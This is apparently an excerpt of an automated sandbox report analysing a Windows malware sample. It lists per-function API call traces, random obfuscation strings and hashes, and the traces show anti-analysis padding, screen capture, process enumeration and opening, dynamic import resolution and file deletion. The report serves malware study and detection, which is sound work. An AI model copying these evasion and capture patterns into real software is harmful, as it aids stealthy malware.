SetEnvironmentVariableA.KERNEL32(gbsqy21z,5gzmnpic), ref: 0040AC7C
RegOpenKeyExA.ADVAPI32(80000001,regx9p1kwk5,00000000,00020019,?), ref: 0040AC8E
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040AC9A
lstrlenA.KERNEL32(?,00000000,00000000), ref: 0040ACA8
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001), ref: 0040ACB8
LocalFree.KERNEL32(00000000), ref: 0040ACD0
LocalFree.KERNEL32(0040955B), ref: 0040ACD9
LocalFree.KERNELBASE(?), ref: 0040ACE0

Strings

log: 4dwriqkn, xrefs: 0040A241
7qxzlm8y, xrefs: 0040A9F8
log: qeq6oav3, xrefs: 0040A60A
gbsqy21z, xrefs: 0040AC77
XMLbzc39s88, xrefs: 0040A575
XMLzsndo2gt, xrefs: 0040AAFD
SMPHR_nyhse1wa, xrefs: 0040A4EF
reg69ng1c4n, xrefs: 0040A6D0
MTXj3gu1c69, xrefs: 0040A965
SMPHR_k8e82fz9, xrefs: 0040A813
s_bp9g1sd2, xrefs: 0040A853
reg0pqc4oj1, xrefs: 0040AA17
WTMR_ueq2mmbb, xrefs: 0040A8E8
regx21rcw41, xrefs: 0040A285
XMLz8t7qvto, xrefs: 0040AB91
uf50ofvn, xrefs: 0040A78A
log: 2ussfsz2, xrefs: 0040A563
WTMR_mt3bbikq, xrefs: 0040A554
SMPHR_lf9ezkq5, xrefs: 0040A2C5
log: dzc01bs3, xrefs: 0040ABF8
MTXr6g06agb, xrefs: 0040A226
WTMR_0c4rk10x, xrefs: 0040A48D
3tcnzxo7, xrefs: 0040AB39
ev_0jmzclcl, xrefs: 0040A6DC
log: 1t49m61v, xrefs: 0040A4DF
oyfor3wf, xrefs: 0040A8A9
ev_v8mcmwj6, xrefs: 0040A7F2
s_q6b6asgo, xrefs: 0040A71F
kustj1v2, xrefs: 0040A905
log: ppdo11e6, xrefs: 0040A9DD
t437kmhd, xrefs: 0040A731
log: d7nmnzlk, xrefs: 0040A711
log: p2hsajxw, xrefs: 0040A9D6
SMPHR_3b2r7lwl, xrefs: 0040A5AE
gcpinz2x, xrefs: 0040A736
jxdpgela, xrefs: 0040A900
regvk0y46zn, xrefs: 0040AABD
log: ro3jk3mv, xrefs: 0040A9BE
log: o60eux9c, xrefs: 0040A5F5
MTXcgly634y, xrefs: 0040AC3B
log: f2a54uo2, xrefs: 0040A998
5gzmnpic, xrefs: 0040AC72
WTMR_p240ejws, xrefs: 0040ABDE
MTX7m3ovvmf, xrefs: 0040A5E0
WTMR_rih7x40e, xrefs: 0040AAA1
wn8hur32, xrefs: 0040AADD
Xmlst, xrefs: 0040A63B
tquwrqxp, xrefs: 0040A457
bi1gi9gl, xrefs: 0040A83C
XML3y9pbffs, xrefs: 0040A7BF
log: r1auj44w, xrefs: 0040ABB0
SMPHR_xjxsk88q, xrefs: 0040A9AD
WTMR_684o09fz, xrefs: 0040AB25
0vnxhle5, xrefs: 0040A841
ev7fjigr, xrefs: 0040AB19
log: riloegbr, xrefs: 0040ABD7
reghm782oif, xrefs: 0040A26E
s_m88cwhik, xrefs: 0040AC06
WTMR_erjmezh6, xrefs: 0040A763
SMPHR_xzecjlku, xrefs: 0040AA7D
s_cdzli2ch, xrefs: 0040AAEB
regc47cfi3n, xrefs: 0040A481
s_lg8c4ue8, xrefs: 0040AA2A
WTMR_3cda6oqt, xrefs: 0040A417
log: 9ix5nk5g, xrefs: 0040A4A3
XMLfc2qhit1, xrefs: 0040A436
WTMR_hszl7rbc, xrefs: 0040A9E4
WTMR_tx0frsv8, xrefs: 0040A214
MTX09u9b8q9, xrefs: 0040A741
bknkwwqu, xrefs: 0040A8AE
u93fszu1, xrefs: 0040AB34
WTMR_7h2c73ml, xrefs: 0040A1D9
WTMR_hedzr4jd, xrefs: 0040A5CA
99tg8qim, xrefs: 0040A625
regk7pd5ro7, xrefs: 0040AC5B
n2rzgkdl, xrefs: 0040A785
log: ggqa70rr, xrefs: 0040A833
regnx2jadyz, xrefs: 0040A9A1
log: 2f28vczq, xrefs: 0040A603
reg050v0xjo, xrefs: 0040A7E6
3lwtpsp0, xrefs: 0040AAD8
s_tvdg12s9, xrefs: 0040A298
reg85edlliz, xrefs: 0040A40B
reg03kuim9g, xrefs: 0040A1F7
5tshiyq0, xrefs: 0040A452
regzisy1x47, xrefs: 0040A5A2
bvi5nwx5, xrefs: 0040A62A
XMLla2gh1ao, xrefs: 0040A6A9
2xggp6yd, xrefs: 0040AB1E
XMLwyf4c164, xrefs: 0040AA3C
WTMR_qfltqc33, xrefs: 0040A8C8
MTXe1rwy9uy, xrefs: 0040A894
log: x8rqt7vn, xrefs: 0040AB4F
regx9p1kwk5, xrefs: 0040AC84
log: 0tw383yu, xrefs: 0040A42F
ev_7r7ec1lq, xrefs: 0040A4AA
uwutmtsw, xrefs: 0040A9F3
XMLo9nozdus, xrefs: 0040A2EB
regydhbdwb8, xrefs: 0040A985
s, xrefs: 0040A672

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$SemaphoreTimerWaitable$Local$Release$DebugOpenOutputString$CancelCloseFileFind$EnvironmentMutexVariable$Alloc$ErrorFreeLast$Event$Internet$FirstHandlelstrlen$Mapping$ByteCharMultiWide$Reset$HttpReadRequest$ChangeConnectNotificationSend
String ID: 0vnxhle5$2xggp6yd$3lwtpsp0$3tcnzxo7$5gzmnpic$5tshiyq0$7qxzlm8y$99tg8qim$MTX09u9b8q9$MTX7m3ovvmf$MTXcgly634y$MTXe1rwy9uy$MTXj3gu1c69$MTXr6g06agb$SMPHR_3b2r7lwl$SMPHR_k8e82fz9$SMPHR_lf9ezkq5$SMPHR_nyhse1wa$SMPHR_xjxsk88q$SMPHR_xzecjlku$WTMR_0c4rk10x$WTMR_3cda6oqt$WTMR_684o09fz$WTMR_7h2c73ml$WTMR_erjmezh6$WTMR_hedzr4jd$WTMR_hszl7rbc$WTMR_mt3bbikq$WTMR_p240ejws$WTMR_qfltqc33$WTMR_rih7x40e$WTMR_tx0frsv8$WTMR_ueq2mmbb$XML3y9pbffs$XMLbzc39s88$XMLfc2qhit1$XMLla2gh1ao$XMLo9nozdus$XMLwyf4c164$XMLz8t7qvto$XMLzsndo2gt$Xmlst$bi1gi9gl$bknkwwqu$bvi5nwx5$ev7fjigr$ev_0jmzclcl$ev_7r7ec1lq$ev_v8mcmwj6$gbsqy21z$gcpinz2x$jxdpgela$kustj1v2$log: 0tw383yu$log: 1t49m61v$log: 2f28vczq$log: 2ussfsz2$log: 4dwriqkn$log: 9ix5nk5g$log: d7nmnzlk$log: dzc01bs3$log: f2a54uo2$log: ggqa70rr$log: o60eux9c$log: p2hsajxw$log: ppdo11e6$log: qeq6oav3$log: r1auj44w$log: riloegbr$log: ro3jk3mv$log: x8rqt7vn$n2rzgkdl$oyfor3wf$reg03kuim9g$reg050v0xjo$reg0pqc4oj1$reg69ng1c4n$reg85edlliz$regc47cfi3n$reghm782oif$regk7pd5ro7$regnx2jadyz$regvk0y46zn$regx21rcw41$regx9p1kwk5$regydhbdwb8$regzisy1x47$s$s_bp9g1sd2$s_cdzli2ch$s_lg8c4ue8$s_m88cwhik$s_q6b6asgo$s_tvdg12s9$t437kmhd$tquwrqxp$u93fszu1$uf50ofvn$uwutmtsw$wn8hur32
API String ID: 2419625003-1559123603
Opcode ID: 3108a0a83e55be911e1cc09c928aa49fd8e36cf4a0115e66fc287318357c52c3
Instruction ID: d493c12af7046739652146f4566f0dc2fea4e414209253380d6a569848ecd599
Opcode Fuzzy Hash: 3108a0a83e55be911e1cc09c928aa49fd8e36cf4a0115e66fc287318357c52c3
Instruction Fuzzy Hash: BA522071A80315BFE7206BA09D4AFEA3E69EB4CB01F118122F705F61D1D6F89950CB6D

Function 0040C92D Relevance: 338.7, APIs: 112, Strings: 81, Instructions: 914
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableA.KERNEL32(1wc882l1,vjd4qfn6), ref: 0040C959
OutputDebugStringA.KERNEL32(log: w4lywhan), ref: 0040C979
LocalAlloc.KERNEL32(00000000,000000A5), ref: 0040C981
LocalFree.KERNEL32(00000000), ref: 0040C988
GetLastError.KERNEL32 ref: 0040C98E
OutputDebugStringA.KERNEL32(log: 5g0032sf), ref: 0040C9AE
RegOpenKeyExA.ADVAPI32(80000001,regon0b4jg1,00000000,00020019,?), ref: 0040C9DB
CreateMutexA.KERNEL32(00000000,00000000,MTXq96g80py), ref: 0040C9EE
GetLastError.KERNEL32 ref: 0040CA00
OutputDebugStringA.KERNEL32(log: xem2nnwj), ref: 0040CA0D
OutputDebugStringA.KERNEL32(log: aodik4y2), ref: 0040CA14
FindFirstFileA.KERNELBASE(s_xdr6o5zi,?), ref: 0040CA22
FindClose.KERNEL32(00000000), ref: 0040CA29
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,000005A7,00000000), ref: 0040CA68
SetEnvironmentVariableA.KERNEL32(blo8yd6g,9u4kfzp6), ref: 0040CA7A
CloseHandle.KERNEL32(00000000), ref: 0040CA81
OutputDebugStringA.KERNEL32(log: ipaoelgb), ref: 0040CA99
GetDesktopWindow.USER32 ref: 0040CAAE
LocalAlloc.KERNEL32(00000000,000006A5), ref: 0040CABD
RegOpenKeyExA.ADVAPI32(80000001,regdt878vxm,00000000,00020019,?), ref: 0040CADA
LocalFree.KERNEL32(00000000), ref: 0040CADD
OutputDebugStringA.KERNEL32(log: vrsxb0uh), ref: 0040CAEB
GetLastError.KERNEL32 ref: 0040CB06
FindFirstFileA.KERNELBASE(s_klnql14d,?), ref: 0040CB1E
FindClose.KERNEL32(00000000), ref: 0040CB25
OutputDebugStringA.KERNEL32(log: zkq86qz2), ref: 0040CB5A
SetEnvironmentVariableA.KERNEL32(dmyg7dvz,ght0q9mg), ref: 0040CB68
CreateMutexA.KERNEL32(00000000,00000000,MTXzp8mldqj), ref: 0040CB75
GetLastError.KERNEL32 ref: 0040CB82
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,000011CB,00000000), ref: 0040CB90
LoadLibraryW.KERNEL32 ref: 0040CB9C
LoadLibraryW.KERNEL32 ref: 0040CBAA
GetProcAddress.KERNEL32(00000000), ref: 0040CBB9
GetProcAddress.KERNEL32(00000000), ref: 0040CBCB
GetProcAddress.KERNEL32(00000000), ref: 0040CBDD
GetProcAddress.KERNEL32(00000000), ref: 0040CBEF
GetProcAddress.KERNEL32(00000000), ref: 0040CC01
GetProcAddress.KERNEL32(00000000), ref: 0040CC13
GetProcAddress.KERNEL32(00000000), ref: 0040CC25
GetProcAddress.KERNEL32(00000000), ref: 0040CC37
GetProcAddress.KERNEL32(00000000), ref: 0040CC49
GetProcAddress.KERNEL32(00000000), ref: 0040CC5B
GetProcAddress.KERNEL32(00000000), ref: 0040CC6D
GetProcAddress.KERNEL32(00000000), ref: 0040CC7F
GetProcAddress.KERNEL32(00000000), ref: 0040CC91
GetProcAddress.KERNEL32(00000000), ref: 0040CCA3
SetEnvironmentVariableA.KERNEL32(d6u2g56u,nt6rzav9), ref: 0040CCCE
SetEnvironmentVariableA.KERNEL32(6mrndiet,iruik9de), ref: 0040CCF0
GetLastError.KERNEL32 ref: 0040CCFE
LocalAlloc.KERNEL32(00000003,00000D31), ref: 0040CD2C
LocalFree.KERNEL32(00000000), ref: 0040CD33
CreateMutexA.KERNEL32(00000000,00000000,MTX6t5bw5x5), ref: 0040CD94
GetLastError.KERNEL32 ref: 0040CD99
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040CDF0
GetClientRect.USER32(?,?), ref: 0040CE12
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040CE1B
GetSystemMetrics.USER32(00000001), ref: 0040CE28
GetSystemMetrics.USER32(00000000), ref: 0040CE31
StretchBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 0040CE48
SelectObject.GDI32(?,00000000), ref: 0040CE7A
GetObjectW.GDI32(?,00000018,?), ref: 0040CEB9

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CreateMutexA.KERNEL32(00000000,00000000,MTX70b3rq0d), ref: 0040CEE5
SetEnvironmentVariableA.KERNEL32(u21b2shb,6n3b43qd), ref: 0040CEFA
SetEnvironmentVariableA.KERNEL32(8rged8i6,gdislrk3), ref: 0040CF0C
OutputDebugStringA.KERNEL32(log: d5s60b2z), ref: 0040CF17
OutputDebugStringA.KERNEL32(log: dbhidx7a), ref: 0040CF31
FindFirstFileA.KERNELBASE(s_ih82y5he,?), ref: 0040CF3F
FindClose.KERNEL32(00000000), ref: 0040CF46
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,000003A8,00000000), ref: 0040CF70
CloseHandle.KERNEL32(00000000), ref: 0040CF77
SetEnvironmentVariableA.KERNEL32(ekvk6nm4,3tg89n2b), ref: 0040CF94
GetLastError.KERNEL32 ref: 0040CF9E
LocalAlloc.KERNEL32(00000000,00000055,?,?), ref: 0040CFF3
OutputDebugStringA.KERNEL32(log: bi73loao), ref: 0040D000
LocalFree.KERNEL32(00000000), ref: 0040D003
FindFirstFileA.KERNELBASE(s_1ybe8uzj,?), ref: 0040D046
FindClose.KERNEL32(00000000), ref: 0040D04D
CreateMutexA.KERNEL32(00000000,00000000,MTX2viqoc6l), ref: 0040D05C
SetEnvironmentVariableA.KERNEL32(60qlf1d8,ri844xun), ref: 0040D08C
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000F18,00000000), ref: 0040D0A0
CloseHandle.KERNEL32(00000000), ref: 0040D0A7
SetEnvironmentVariableA.KERNEL32(zzm9el6j,lopdd932), ref: 0040D0F0
GetLastError.KERNEL32 ref: 0040D103
LocalAlloc.KERNEL32(00000040,00000020), ref: 0040D149
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 0040D164
LocalAlloc.KERNEL32(00000040,0000030C), ref: 0040D174
LocalAlloc.KERNEL32(00000040,00000618), ref: 0040D184
StrCpyW.SHLWAPI(00000000), ref: 0040D191
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0040D1B3
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 0040D1D0
LocalFree.KERNEL32(?), ref: 0040D1F8
CloseHandle.KERNEL32(?), ref: 0040D202
DeleteFileW.KERNEL32(?), ref: 0040D209
LocalFree.KERNEL32(?), ref: 0040D210
LocalFree.KERNEL32(?), ref: 0040D219
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040D227
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040D232
StrCpyW.SHLWAPI(00000000), ref: 0040D250
LocalAlloc.KERNEL32(00000040,00000184), ref: 0040D281
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0040D298
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0040D2B1
LocalFree.KERNEL32(00000000), ref: 0040D2E0
LocalFree.KERNEL32(?), ref: 0040D2E9
LocalFree.KERNEL32(?), ref: 0040D2F2
LocalFree.KERNEL32(?), ref: 0040D2FB
LocalFree.KERNEL32(?), ref: 0040D302
OutputDebugStringA.KERNEL32(log: z4u0w829), ref: 0040D312
CreateMutexA.KERNEL32(00000000,00000000,MTXmskraio6), ref: 0040D358
LocalFree.KERNEL32(?,?,?), ref: 0040D366
LocalFree.KERNEL32(?), ref: 0040D371
DeleteObject.GDI32(?), ref: 0040D3E0
DeleteObject.GDI32(?), ref: 0040D3E9

Strings

log: aodik4y2, xrefs: 0040CA0F
s_1ybe8uzj, xrefs: 0040D041
log: zkq86qz2, xrefs: 0040CB55
ev_9b2yykkn, xrefs: 0040D024
WTMR_g5unc8z9, xrefs: 0040CF7D
SMPHR_pejuyn2w, xrefs: 0040D134
regm4qmh0pd, xrefs: 0040D018
SMPHR_h9zzinnk, xrefs: 0040CAF2
MTXmskraio6, xrefs: 0040D351
WTMR_23kmogl1, xrefs: 0040CB40
log: dbhidx7a, xrefs: 0040CF2C
s_klnql14d, xrefs: 0040CB19
ev_oa3lnpp2, xrefs: 0040CD60
WTMR_lwtjthsy, xrefs: 0040D109
MTX6t5bw5x5, xrefs: 0040CD8D
SMPHR_n2qy1tor, xrefs: 0040CCA9
WTMR_ygpxqod3, xrefs: 0040D317
regfw5oiwyz, xrefs: 0040CD15
blo8yd6g, xrefs: 0040CA73
dmyg7dvz, xrefs: 0040CB63
6n3b43qd, xrefs: 0040CEF0
ri844xun, xrefs: 0040D082
log: ipaoelgb, xrefs: 0040CA94
nt6rzav9, xrefs: 0040CCC4
SMPHR_askueb5u, xrefs: 0040D3A6
WTMR_uky5f51g, xrefs: 0040D329
log: d5s60b2z, xrefs: 0040CF12
WTMR_87ziygjr, xrefs: 0040CD4F
XMLyi5lajk7, xrefs: 0040D0C3
log: vrsxb0uh, xrefs: 0040CAE6
MTX70b3rq0d, xrefs: 0040CEDE
ev_yvv9yhqg, xrefs: 0040D38B
ekvk6nm4, xrefs: 0040CF8D
9u4kfzp6, xrefs: 0040CA6E
WTMR_tmr2jku0, xrefs: 0040C93E
regn7zrevpt, xrefs: 0040D0B7
s_ih82y5he, xrefs: 0040CF3A
8rged8i6, xrefs: 0040CF07
regt5lr9x26, xrefs: 0040D124
log: bi73loao, xrefs: 0040CFF9
vjd4qfn6, xrefs: 0040C94D
MTXq96g80py, xrefs: 0040C9E4
regfvccnl5a, xrefs: 0040D070
gdislrk3, xrefs: 0040CF02
WTMR_2kdaxgl3, xrefs: 0040D0D6
lopdd932, xrefs: 0040D0E3
log: xem2nnwj, xrefs: 0040CA08
WTMR_fybn7qox, xrefs: 0040CF19
regdt878vxm, xrefs: 0040CAD0
WTMR_5fae2x4g, xrefs: 0040CCD8
regon0b4jg1, xrefs: 0040C9CE
1wc882l1, xrefs: 0040C952
WTMR_eledv420, xrefs: 0040CA87
regoew98ps5, xrefs: 0040CDB2
iruik9de, xrefs: 0040CCE4
log: 5g0032sf, xrefs: 0040C9A7
SMPHR_ovzdcy0e, xrefs: 0040CFA4
3tg89n2b, xrefs: 0040CF88
6mrndiet, xrefs: 0040CCE9
ght0q9mg, xrefs: 0040CB5E
log: w4lywhan, xrefs: 0040C974
d6u2g56u, xrefs: 0040CCC9
MTX2viqoc6l, xrefs: 0040D053
zzm9el6j, xrefs: 0040D0E8
log: z4u0w829, xrefs: 0040D30D
ev_g2v2l2z6, xrefs: 0040CF4C
regi1gyvgbw, xrefs: 0040D3C6
ev_egaiu8vt, xrefs: 0040CA34
XMLny3b3j9h, xrefs: 0040CD78
60qlf1d8, xrefs: 0040D087
MTXzp8mldqj, xrefs: 0040CB6E
u21b2shb, xrefs: 0040CEF5
SMPHR_rf3omit5, xrefs: 0040C999
XML98ilns20, xrefs: 0040CB2B
reg74rkh414, xrefs: 0040CD43
regrya0twjq, xrefs: 0040CDC4
XML5auuxt83, xrefs: 0040D3D2
regdazhsolw, xrefs: 0040D345
s_xdr6o5zi, xrefs: 0040CA1D
regb9sh5wp1, xrefs: 0040CFC2
regecbkdb2k, xrefs: 0040D37F

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$Free$AddressProc$Alloc$DebugFileOutputString$EnvironmentVariable$CloseFindMutex$ErrorLast$FirstHandleMapping$ByteCharMultiObjectWide$DeleteEventOpenRelease$LibraryLoadMetricsSemaphoreStretchSystemTimerWaitable$CancelClientDesktopModeRectResetSelectWindow
String ID: 1wc882l1$3tg89n2b$60qlf1d8$6mrndiet$6n3b43qd$8rged8i6$9u4kfzp6$MTX2viqoc6l$MTX6t5bw5x5$MTX70b3rq0d$MTXmskraio6$MTXq96g80py$MTXzp8mldqj$SMPHR_askueb5u$SMPHR_h9zzinnk$SMPHR_n2qy1tor$SMPHR_ovzdcy0e$SMPHR_pejuyn2w$SMPHR_rf3omit5$WTMR_23kmogl1$WTMR_2kdaxgl3$WTMR_5fae2x4g$WTMR_87ziygjr$WTMR_eledv420$WTMR_fybn7qox$WTMR_g5unc8z9$WTMR_lwtjthsy$WTMR_tmr2jku0$WTMR_uky5f51g$WTMR_ygpxqod3$XML5auuxt83$XML98ilns20$XMLny3b3j9h$XMLyi5lajk7$blo8yd6g$d6u2g56u$dmyg7dvz$ekvk6nm4$ev_9b2yykkn$ev_egaiu8vt$ev_g2v2l2z6$ev_oa3lnpp2$ev_yvv9yhqg$gdislrk3$ght0q9mg$iruik9de$log: 5g0032sf$log: aodik4y2$log: bi73loao$log: d5s60b2z$log: dbhidx7a$log: ipaoelgb$log: vrsxb0uh$log: w4lywhan$log: xem2nnwj$log: z4u0w829$log: zkq86qz2$lopdd932$nt6rzav9$reg74rkh414$regb9sh5wp1$regdazhsolw$regdt878vxm$regecbkdb2k$regfvccnl5a$regfw5oiwyz$regi1gyvgbw$regm4qmh0pd$regn7zrevpt$regoew98ps5$regon0b4jg1$regrya0twjq$regt5lr9x26$ri844xun$s_1ybe8uzj$s_ih82y5he$s_klnql14d$s_xdr6o5zi$u21b2shb$vjd4qfn6$zzm9el6j
API String ID: 1583889207-1380492780
Opcode ID: 043bdacf6190f50edb0af2477e22bccd40ec72c992e1764013217393299508b6
Instruction ID: 69641ea16471864fd2c1a2700f65fb12f960d09f754653c848ab0f64828fb17e
Opcode Fuzzy Hash: 043bdacf6190f50edb0af2477e22bccd40ec72c992e1764013217393299508b6
Instruction Fuzzy Hash: 83623A71A81714FBEB109BA0DD49FEE7E79EF49711F108126FA05F61D0CAB84940CBA9

Function 004108CA Relevance: 177.1, APIs: 65, Strings: 36, Instructions: 308
timeregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(s_pknlsuvt,?,00000000,?,?), ref: 004108EA
FindClose.KERNEL32(00000000), ref: 004108F1
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_m2uczuuz), ref: 00410902
SetEvent.KERNEL32(00000000), ref: 0041090B
ResetEvent.KERNEL32(00000000), ref: 00410912
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_l9ge1xes), ref: 0041091F
CancelWaitableTimer.KERNEL32(00000000), ref: 00410936
SetEnvironmentVariableA.KERNEL32(m8x9ht2t,s8wwaaz1), ref: 00410942
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLbqmcbthz), ref: 0041094F
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00410959
LocalAlloc.KERNEL32(00000000,00000DD3), ref: 00410965
SetEnvironmentVariableA.KERNEL32(u7pd1nqh,8wrjdbkk), ref: 00410977
LocalFree.KERNEL32(00000000), ref: 0041097A
OutputDebugStringA.KERNEL32(log: rj8zylhb), ref: 00410988
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_ktnmwlpc), ref: 004109A4
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004109AA
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000A4E,00000000), ref: 004109BC
RegOpenKeyExA.ADVAPI32(80000001,reglpxu0xo8,00000000,00020019,?), ref: 004109DC
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004109E2
FindFirstFileA.KERNEL32(s_am0kdk0s,?), ref: 00410A00
FindClose.KERNEL32(00000000), ref: 00410A07
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML3hsqiezb), ref: 00410A18
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00410A1F
SetEnvironmentVariableA.KERNEL32(n94ksdbh,5rdtdj93), ref: 00410A2F
OutputDebugStringA.KERNEL32(log: gemonsps), ref: 00410A3D
CreateMutexA.KERNEL32(00000008,00000008,MTX3sjtcbw7), ref: 00410A4F
ReleaseMutex.KERNEL32(00000000), ref: 00410A5A
SetEnvironmentVariableA.KERNEL32(oha0mee2,alv9hf2e), ref: 00410A6A
CreateSemaphoreA.KERNEL32(00000008,00000008,00000001,SMPHR_iiw2eehb), ref: 00410A79
ReleaseSemaphore.KERNEL32(00000000,00000001,00000008), ref: 00410A83
RegOpenKeyExA.KERNEL32(80000001,reg0ykmvh9z,00000008,00020019,?), ref: 00410AA1
CreateWaitableTimerA.KERNEL32(00000008,00000001,WTMR_a0ss9wdx), ref: 00410AAB
OutputDebugStringA.KERNEL32(log: rayduebd), ref: 00410AB8
CancelWaitableTimer.KERNEL32(00000000), ref: 00410ABF
RegOpenKeyExA.KERNEL32(80000001,reg2q2nfjzz,00000000,00020019,?), ref: 00410AD6
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_8jlihpgf), ref: 00410AE1
RegOpenKeyExA.ADVAPI32(80000001,reg6izi2r34,00000000,00020019,?), ref: 00410AFE
CancelWaitableTimer.KERNEL32(00000000), ref: 00410B05
Process32FirstW.KERNEL32(004053C4,?), ref: 00410B1B
lstrcmpiW.KERNEL32(?,?), ref: 00410B30
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_7iribpf6), ref: 00410B4D
CancelWaitableTimer.KERNEL32(00000000), ref: 00410B54
GetLastError.KERNEL32 ref: 00410B58
LocalAlloc.KERNEL32(00000000,000001CD), ref: 00410B65
SetEnvironmentVariableA.KERNEL32(wrhmc8vv,swiz1phc), ref: 00410B77
LocalFree.KERNEL32(00000000), ref: 00410B7E
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_0t639lm2), ref: 00410B8F
GetLastError.KERNEL32 ref: 00410B93
CancelWaitableTimer.KERNEL32(00000000), ref: 00410B9A
FindFirstFileA.KERNEL32(s_ux5gvdyn,?), ref: 00410BA8
FindClose.KERNEL32(00000000), ref: 00410BAF
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,000007CE,00000000), ref: 00410BC3
OutputDebugStringA.KERNEL32(log: 4me9msp2), ref: 00410BD6
CloseHandle.KERNEL32(00000000), ref: 00410BD9
OutputDebugStringA.KERNEL32(log: ytwevqk3), ref: 00410BE4
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLpjh5kqox), ref: 00410BF9
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00410C00
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_uzuq0txh), ref: 00410C13
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00410C1C
OutputDebugStringA.KERNEL32(log: 9q14ufaj), ref: 00410C2B
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00410C36
